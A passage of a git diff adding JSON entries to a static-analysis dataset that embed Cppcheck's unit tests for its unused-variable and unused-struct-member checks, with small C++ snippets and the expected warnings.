(i<3)\\n\"\n \" goto start;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarLambda() {\n functionVariableUsage(\"int foo() {\\n\"\n \" auto f = []{return 1};\\n\"\n \" return f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" auto f = []{return 1};\\n\"\n \" auto g = []{return 1};\\n\"\n \" return f() + g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(std::vector& v) {\\n\"\n \" int n = 0;\\n\"\n \" std::generate(v.begin(), v.end(), [&n] {\\n\"\n \" int r = n;\\n\"\n \" n += 2;\\n\"\n \" return r;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f() {\\n\" // #8433\n \" float a;\\n\"\n \" auto lambda = []() {};\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #9823\n \" auto cb = []() {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" (void)cb;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #9822\n \" int i;\\n\"\n \" auto cb = []() {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" (void)cb;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:4:13]: (style) Unused variable: i [unusedVariable]\\n\",\n errout_str());\n }\n\n\n void localvarStructuredBinding() {\n functionVariableUsage(\"void f() {\\n\" // #10368\n \" std::map m;\\n\"\n \" m[2] = 2.0;\\n\"\n \" for (auto& [k, v] : m) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarCppInitialization() {\n functionVariableUsage(\"void foo() {\\n\"\n \" int buf[6];\\n\"\n \" Data data(buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (information) --check-library: Provide configuration for Data [checkLibraryCheckType]\\n\", errout_str());\n }\n\n void localvarCpp11Initialization() {\n // #6160\n functionVariableUsage(\"void foo() {\\n\"\n \" int myNewValue{ 3u };\\n\"\n \" myManager.theDummyTable.addRow(UnsignedIndexValue{ myNewValue }, DummyRowData{ false });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::list>::value_type a{ 1, 2, 3, 4 };\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:2:44]: (information) --check-library: Provide configuration for std::list::value_type [checkLibraryCheckType]\\n\", errout_str());\n\n functionVariableUsage(\"void f(int* p) {\\n\"\n \" int* q{ p };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'q' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarRangeBasedFor() {\n // #7075\n functionVariableUsage(\"void reset() {\\n\"\n \" for (auto & e : array)\\n\"\n \" e = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarAssignInWhile() {\n functionVariableUsage(\"void foo() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" dostuff(a);\\n\"\n \" } while((a += x) < 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" int var = 1;\\n\"\n \" while (var = var >> 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarTemplate() {\n functionVariableUsage(\"template void f() {}\\n\"\n \"void foo() {\\n\"\n \" const int x = 0;\\n\"\n \" f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" constexpr std::size_t ArraySize(5);\\n\"\n \" std::array X; X.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #10686\n \" std::array a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class A {};\\n\" // #9471\n \" namespace std {\\n\"\n \" template<>\\n\"\n \" struct hash {};\\n\"\n \"}\\n\"\n \"char f() {\\n\"\n \" std::string hash = \\\"-\\\";\\n\"\n \" return hash[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarFuncPtr() {\n functionVariableUsage(\"int main() {\\n\"\n \" void(*funcPtr)(void)(x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Variable 'funcPtr' is assigned a value never used.\\n\", \"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" void(*funcPtr)(void);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unused variable: funcPtr [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" void(*funcPtr)(void)(x);\\n\"\n \" funcPtr();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" void(*funcPtr)(void) = x;\\n\"\n \" funcPtr();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarAddr() { // #7747\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" dostuff(&x);\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" dostuff(std::ref(x));\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarDelete() { // #8339\n functionVariableUsage(\"void reassign(char*& data, int size)\"\n \"{\"\n \" char* buf = new char[size];\"\n \"\"\n \" char* tmp = data;\"\n \" data = buf;\"\n \" buf = tmp;\"\n \"\"\n \" delete [] buf;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void chainedAssignment() {\n // #5466\n functionVariableUsage(\"void NotUsed(double* pdD, int n) {\\n\"\n \" double sum = 0.0;\\n\"\n \" for (int i = 0; i\\n\"\n \"struct Y: Y { };\\n\"\n \"template<>\\n\"\n \"struct Y<0> {};\\n\"\n \"void f() {\\n\"\n \" Y y;\\n\"\n \"}\"); // #4695\n }\n\n void crash3() {\n functionVariableUsage(\"void f(int a, int b, const int* p) {\\n\" // #12531\n \" const int* s[] = { p, p + 1, p + 2 };\\n\"\n \" a = *(s[a] + b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void usingNamespace() {\n functionVariableUsage(\"int foo() {\\n\"\n \" using namespace ::com::sun::star::i18n;\\n\"\n \" bool b = false;\\n\"\n \" int j = 0;\\n\"\n \" for (int i = 0; i < 3; i++) {\\n\"\n \" if (!b) {\\n\"\n \" j = 3;\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return j;\\n\"\n \"}\"); // #4585\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void lambdaFunction() {\n // #7026\n functionVariableUsage(\"void f() {\\n\"\n \" bool first = true;\\n\"\n \"\\n\"\n \" auto do_something = [&first]() {\\n\"\n \" if (first) {\\n\"\n \" first = false;\\n\"\n \" } else {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \" };\\n\"\n \" do_something();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #4956 - assignment in for_each\n functionVariableUsage(\"void f(std::vector ints) {\\n\"\n \" int x = 0;\\n\"\n \" std::for_each(ints.begin(), ints.end(), [&x](int i){ dostuff(x); x = i; });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(std::vector ints) {\\n\"\n \" int x = 0;\\n\"\n \" std::for_each(ints.begin(), ints.end(), [&x](int i){ x += i; });\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", \"\", errout_str());\n\n functionVariableUsage(\"int f(const std::vector& v) {\\n\"\n \" auto it = std::find_if(v.begin(), v.end(), [&](int i) { return i > 0 && i < 7; });\\n\"\n \" std::unordered_map> exprs;\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (style) Unused variable: exprs [unusedVariable]\\n\", errout_str());\n }\n\n void namespaces() { // #7557\n functionVariableUsage(\"namespace t { namespace g {\\n\"\n \" typedef std::pair value;\\n\"\n \"} }\\n\"\n \"namespace t { namespace g {} }\\n\"\n \"namespace t {\\n\"\n \" inline double getTime() const {\\n\"\n \" iterator it=find();\\n\"\n \" double& value=it->second.values[index];\\n\"\n \" if(isnan(value)) {\\n\"\n \" value=get();\\n\"\n \" }\\n\"\n \" return value;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void bracesInitCpp11() {\n functionVariableUsage(\n \"int fun() {\\n\"\n \" static int fpUnread{0};\\n\"\n \" const int var{fpUnread++};\\n\"\n \" return var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void argument() {\n functionVariableUsage(\n \"void fun(Value value) {\\n\"\n \" value[10] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"void fun(std::string s) {\\n\"\n \" s[10] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Variable 's[10]' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"void fun(short data[2]) {\\n\"\n \" data[2] = 1;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown argument type\n functionVariableUsage(\n \"void A::b(Date& result) {\"\n \" result = 12;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // #8914\n functionVariableUsage( // assume unknown argument type is reference\n \"void fun(Date result) {\"\n \" result.x = 12;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage( // there is no reference type in C\n \"void fun(Date result) {\"\n \" result.x = 12;\\n\"\n \"}\",\n dinit(FunctionVariableUsageOptions, $.cpp = false)\n );\n ASSERT_EQUALS(\"[test.c:1:35]: (style) Variable 'result.x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"struct Date { int x; };\\n\"\n \"void fun(Date result) {\"\n \" result.x = 12;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Variable 'result.x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n // Unknown struct type\n functionVariableUsage(\n \"void fun() {\"\n \" struct FOO foo;\\n\"\n \" foo.x = 123;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'foo.x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void argumentClass() {\n functionVariableUsage(\n \"void foo(std::insert_iterator it) {\\n\"\n \" it = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void escapeAlias() {\n functionVariableUsage(\n \"struct A {\\n\"\n \" std::map m;\\n\"\n \" void f(int key, int number) {\\n\"\n \" auto pos = m.find(key);\\n\"\n \" if (pos == m.end())\\n\"\n \" m.insert(std::map::value_type(key, number));\\n\"\n \" else\\n\"\n \" (*pos).second = number;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void volatileData() {\n functionVariableUsage(\n \"struct Data { unsigned int n; };\\n\"\n \"int main() {\\n\"\n \" (*(volatile struct Data*)0x4200).n = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void globalData() {\n // #10276\n functionVariableUsage(\n \"void f(void) {\\n\"\n \" ((uint8_t *) (uint16_t)0x1000)[0] = 0x42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structuredBinding() { // #13269\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" auto [a, b] = std::make_pair(42, 0.42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:17]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" auto [a, b] = std::make_pair(42, 0.42);\\n\"\n \" (void) a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" auto [a, b] = std::make_pair(42, 0.42);\\n\"\n \" (void) b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" auto [a, b, c] = std::make_pair(42, 0.42);\\n\"\n \" (void) b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" [[maybe_unused]] auto [a2, b3] = std::make_pair(42, 0.42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestUnusedVar)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedVar/checkStructMemberUsage.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedVar/checkStructMemberUsage.json new file mode 100644 index 0000000..4c1ee0e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedVar/checkStructMemberUsage.json @@ -0,0 +1,22 @@ +{ + "name": "checkStructMemberUsage", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 129, + "branches": 48, + "apis": 126, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 292 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkunusedvar.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"preprocessor.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestUnusedVar : public TestFixture {\npublic:\n TestUnusedVar() : TestFixture(\"TestUnusedVar\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).checkLibrary().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(isRecordTypeWithoutSideEffects);\n TEST_CASE(cleanFunction);\n\n TEST_CASE(emptyclass); // #5355 - False positive: Variable is not assigned a value.\n TEST_CASE(emptystruct); // #5355 - False positive: Variable is not assigned a value.\n\n TEST_CASE(structmember1);\n TEST_CASE(structmember2);\n TEST_CASE(structmember3);\n TEST_CASE(structmember4);\n TEST_CASE(structmember5);\n TEST_CASE(structmember6);\n TEST_CASE(structmember7);\n TEST_CASE(structmember8);\n TEST_CASE(structmember9); // #2017 - struct is inherited\n TEST_CASE(structmember_extern); // No false positives for extern structs\n TEST_CASE(structmember10);\n TEST_CASE(structmember11); // #4168 - initialization with {} / passed by address to unknown function\n TEST_CASE(structmember12); // #7179 - FP unused structmember\n TEST_CASE(structmember13); // #3088 - __attribute__((packed))\n TEST_CASE(structmember14); // #6508 - (struct x){1,2,..}\n TEST_CASE(structmember15); // #3088 - #pragma pack(1)\n TEST_CASE(structmember_sizeof);\n TEST_CASE(structmember16); // #10485\n TEST_CASE(structmember17); // #10591\n TEST_CASE(structmember18); // #10684\n TEST_CASE(structmember19); // #10826, #10848, #10852\n TEST_CASE(structmember20); // #10737\n TEST_CASE(structmember21); // #4759\n TEST_CASE(structmember22); // #11016\n TEST_CASE(structmember23);\n TEST_CASE(structmember24); // #10847\n TEST_CASE(structmember25);\n TEST_CASE(structmember26); // #13345\n TEST_CASE(structmember27); // #13367\n TEST_CASE(structmember28);\n TEST_CASE(structmember_macro);\n TEST_CASE(structmember_template_argument); // #13887 - do not report that member used in template argument is unused\n TEST_CASE(classmember);\n TEST_CASE(structmemberStructuredBinding); // #13107\n\n TEST_CASE(localvar1);\n TEST_CASE(localvar2);\n TEST_CASE(localvar3);\n TEST_CASE(localvar4);\n TEST_CASE(localvar5);\n TEST_CASE(localvar6);\n TEST_CASE(localvar8);\n TEST_CASE(localvar9); // ticket #1605\n TEST_CASE(localvar10);\n TEST_CASE(localvar11);\n TEST_CASE(localvar12);\n TEST_CASE(localvar13); // ticket #1640\n TEST_CASE(localvar14); // ticket #5\n TEST_CASE(localvar15);\n TEST_CASE(localvar16); // ticket #1709\n TEST_CASE(localvar17); // ticket #1720\n TEST_CASE(localvar18); // ticket #1723\n TEST_CASE(localvar19); // ticket #1776\n TEST_CASE(localvar20); // ticket #1799\n TEST_CASE(localvar21); // ticket #1807\n TEST_CASE(localvar22); // ticket #1811\n TEST_CASE(localvar23); // ticket #1808\n TEST_CASE(localvar24); // ticket #1803\n TEST_CASE(localvar25); // ticket #1729\n TEST_CASE(localvar26); // ticket #1894\n TEST_CASE(localvar27); // ticket #2160\n TEST_CASE(localvar28); // ticket #2205\n TEST_CASE(localvar29); // ticket #2206 (array initialization)\n TEST_CASE(localvar30);\n TEST_CASE(localvar31); // ticket #2286\n TEST_CASE(localvar32); // ticket #2330\n TEST_CASE(localvar33); // ticket #2346\n TEST_CASE(localvar34); // ticket #2368\n TEST_CASE(localvar35); // ticket #2535\n TEST_CASE(localvar36); // ticket #2805\n TEST_CASE(localvar37); // ticket #3078\n TEST_CASE(localvar38);\n TEST_CASE(localvar39); // ticket #3454\n TEST_CASE(localvar40); // ticket #3473\n TEST_CASE(localvar41); // ticket #3603\n TEST_CASE(localvar42); // ticket #3742\n TEST_CASE(localvar43); // ticket #3602\n TEST_CASE(localvar44); // ticket #4020\n TEST_CASE(localvar45); // ticket #4899\n TEST_CASE(localvar46); // ticket #5491 (C++11 style initialization)\n TEST_CASE(localvar47); // ticket #6603\n TEST_CASE(localvar48); // ticket #6954\n TEST_CASE(localvar49); // ticket #7594\n TEST_CASE(localvar50); // ticket #6261 : dostuff(cond ? buf1 : buf2)\n TEST_CASE(localvar51); // ticket #8128 - FN : tok = tok->next();\n TEST_CASE(localvar52);\n TEST_CASE(localvar53); // continue\n TEST_CASE(localvar54); // ast, {}\n TEST_CASE(localvar55);\n TEST_CASE(localvar56);\n TEST_CASE(localvar57); // #8974 - increment\n TEST_CASE(localvar58); // #9901 - increment false positive\n TEST_CASE(localvar59); // #9737\n TEST_CASE(localvar60);\n TEST_CASE(localvar61); // #9407\n TEST_CASE(localvar62); // #10824\n TEST_CASE(localvar63); // #6928\n TEST_CASE(localvar64); // #9997\n TEST_CASE(localvar65); // #9876, #10006\n TEST_CASE(localvar66); // #11143\n TEST_CASE(localvar67); // #9946\n TEST_CASE(localvar68);\n TEST_CASE(localvar69);\n TEST_CASE(localvar70);\n TEST_CASE(localvar71);\n TEST_CASE(localvarloops); // loops\n TEST_CASE(localvaralias1);\n TEST_CASE(localvaralias2); // ticket #1637\n TEST_CASE(localvaralias3); // ticket #1639\n TEST_CASE(localvaralias4); // ticket #1643\n TEST_CASE(localvaralias5); // ticket #1647\n TEST_CASE(localvaralias6); // ticket #1729\n TEST_CASE(localvaralias7); // ticket #1732\n TEST_CASE(localvaralias8);\n TEST_CASE(localvaralias9); // ticket #1996\n TEST_CASE(localvaralias10); // ticket #2004\n TEST_CASE(localvaralias11); // ticket #4423 - iterator\n TEST_CASE(localvaralias12); // ticket #4394\n TEST_CASE(localvaralias13); // ticket #4487\n TEST_CASE(localvaralias14); // ticket #5619\n TEST_CASE(localvaralias15); // ticket #6315\n TEST_CASE(localvaralias16);\n TEST_CASE(localvaralias17); // ticket #8911\n TEST_CASE(localvaralias18); // ticket #9234 - iterator\n TEST_CASE(localvaralias19); // ticket #9828\n TEST_CASE(localvaralias20); // ticket #10966\n TEST_CASE(localvaralias21);\n TEST_CASE(localvaralias22);\n TEST_CASE(localvaralias23);\n TEST_CASE(localvarasm);\n TEST_CASE(localvarstatic);\n TEST_CASE(localvarextern);\n TEST_CASE(localvardynamic1);\n TEST_CASE(localvardynamic2); // ticket #2904\n TEST_CASE(localvardynamic3); // ticket #3467\n TEST_CASE(localvararray1); // ticket #2780\n TEST_CASE(localvararray2); // ticket #3438\n TEST_CASE(localvararray3); // ticket #3980\n TEST_CASE(localvararray4); // ticket #4839\n TEST_CASE(localvararray5); // ticket #7092\n TEST_CASE(localvararray6);\n TEST_CASE(localvarstring1);\n TEST_CASE(localvarstring2); // ticket #2929\n TEST_CASE(localvarconst1);\n TEST_CASE(localvarconst2);\n TEST_CASE(localvarreturn); // ticket #9167\n TEST_CASE(localvarmaybeunused);\n TEST_CASE(localvarrvalue); // ticket #13977\n\n TEST_CASE(localvarthrow); // ticket #3687\n\n TEST_CASE(localVarStd);\n TEST_CASE(localVarClass);\n TEST_CASE(localVarSmartPtr);\n\n // Don't give false positives for variables in structs/unions\n TEST_CASE(localvarStruct1);\n TEST_CASE(localvarStruct2);\n TEST_CASE(localvarStruct3);\n TEST_CASE(localvarStruct5);\n TEST_CASE(localvarStruct6);\n TEST_CASE(localvarStruct7);\n TEST_CASE(localvarStruct8);\n TEST_CASE(localvarStruct9);\n TEST_CASE(localvarStruct10);\n TEST_CASE(localvarStruct11); // 10095\n TEST_CASE(localvarStruct12); // #10495\n TEST_CASE(localvarStruct13); // #10398\n TEST_CASE(localvarStruct14);\n TEST_CASE(localvarStructArray);\n TEST_CASE(localvarUnion1);\n\n TEST_CASE(localvarOp); // Usage with arithmetic operators\n TEST_CASE(localvarInvert); // Usage with inverted variable\n TEST_CASE(localvarIf); // Usage in if\n TEST_CASE(localvarIfElse); // return tmp1 ? tmp2 : tmp3;\n TEST_CASE(localvarDeclaredInIf);\n TEST_CASE(localvarOpAssign); // a |= b;\n TEST_CASE(localvarFor); // for ( ; var; )\n TEST_CASE(localvarForEach); // #4155 - BOOST_FOREACH, hlist_for_each, etc\n TEST_CASE(localvarShift1); // 1 >> var\n TEST_CASE(localvarShift3); // x << y\n TEST_CASE(localvarCast);\n TEST_CASE(localvarClass);\n TEST_CASE(localvarUnused);\n TEST_CASE(localvarFunction); // ticket #1799\n TEST_CASE(localvarIfNOT); // #3104 - if ( NOT var )\n TEST_CASE(localvarAnd); // #3672\n TEST_CASE(localvarSwitch); // #3744 - false positive when localvar is used in switch\n TEST_CASE(localvarNULL); // #4203 - Setting NULL value is not redundant - it is safe\n TEST_CASE(localvarUnusedGoto); // #4447, #4558 goto\n TEST_CASE(localvarRangeBasedFor); // #7075\n TEST_CASE(localvarAssignInWhile);\n TEST_CASE(localvarTemplate); // #4955 - variable is used as template parameter\n TEST_CASE(localvarFuncPtr); // #7194\n TEST_CASE(localvarAddr); // #7477\n TEST_CASE(localvarDelete);\n TEST_CASE(localvarLambda); // #8941, #8948\n TEST_CASE(localvarStructuredBinding); // #10368\n\n TEST_CASE(localvarCppInitialization);\n TEST_CASE(localvarCpp11Initialization);\n\n TEST_CASE(chainedAssignment); // #5466\n\n TEST_CASE(crash1);\n TEST_CASE(crash2);\n TEST_CASE(crash3);\n TEST_CASE(usingNamespace); // #4585\n\n TEST_CASE(lambdaFunction); // #5078\n TEST_CASE(namespaces); // #7557\n TEST_CASE(bracesInitCpp11);// #7895 - \"int var{123}\" initialization\n\n TEST_CASE(argument);\n TEST_CASE(argumentClass);\n TEST_CASE(escapeAlias); // #9150\n TEST_CASE(volatileData); // #9280\n TEST_CASE(globalData);\n\n TEST_CASE(structuredBinding); // #13269\n }\n\n struct FunctionVariableUsageOptions\n {\n FunctionVariableUsageOptions() = default;\n bool cpp = true;\n };\n\n#define functionVariableUsage(...) functionVariableUsage_(__FILE__, __LINE__, __VA_ARGS__)\n void functionVariableUsage_(const char* file, int line, const char code[], const FunctionVariableUsageOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for unused variables..\n CheckUnusedVar checkUnusedVar(&tokenizer, &settings, this);\n checkUnusedVar.checkFunctionVariableUsage();\n }\n\n struct CheckStructMemberUsageOptions\n {\n CheckStructMemberUsageOptions() = default;\n const std::list* directives = nullptr;\n bool cpp = true;\n };\n\n#define checkStructMemberUsage(...) checkStructMemberUsage_(__FILE__, __LINE__, __VA_ARGS__)\n void checkStructMemberUsage_(const char* file, int line, const char code[], const CheckStructMemberUsageOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n if (options.directives)\n tokenizer.setDirectives(*options.directives);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for unused variables..\n CheckUnusedVar checkUnusedVar(&tokenizer, &settings, this);\n (checkUnusedVar.checkStructMemberUsage)();\n }\n\n#define checkStructMemberUsageP(...) checkStructMemberUsageP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkStructMemberUsageP_(const char* file, int line, const char code[]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for unused variables..\n CheckUnusedVar checkUnusedVar(&tokenizer, &settings, this);\n (checkUnusedVar.checkStructMemberUsage)();\n }\n\n#define checkFunctionVariableUsageP(...) checkFunctionVariableUsageP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkFunctionVariableUsageP_(const char* file, int line, const char code[]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for unused variables..\n CheckUnusedVar checkUnusedVar(&tokenizer, &settings, this);\n (checkUnusedVar.checkFunctionVariableUsage)();\n }\n\n\n void isRecordTypeWithoutSideEffects() {\n functionVariableUsage(\n \"class A {};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class A {};\\n\"\n \"class B {\\n\"\n \"public:\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: b [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class C {\\n\"\n \"public:\\n\"\n \" C() = default;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class D {\\n\"\n \"public:\\n\"\n \" D() {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" D d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (style) Unused variable: d [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class E {\\n\"\n \"public:\\n\"\n \" uint32_t u{1};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" E e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (style) Unused variable: e [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(0) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x{0} {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\\n\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(y) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\"\n \"class F 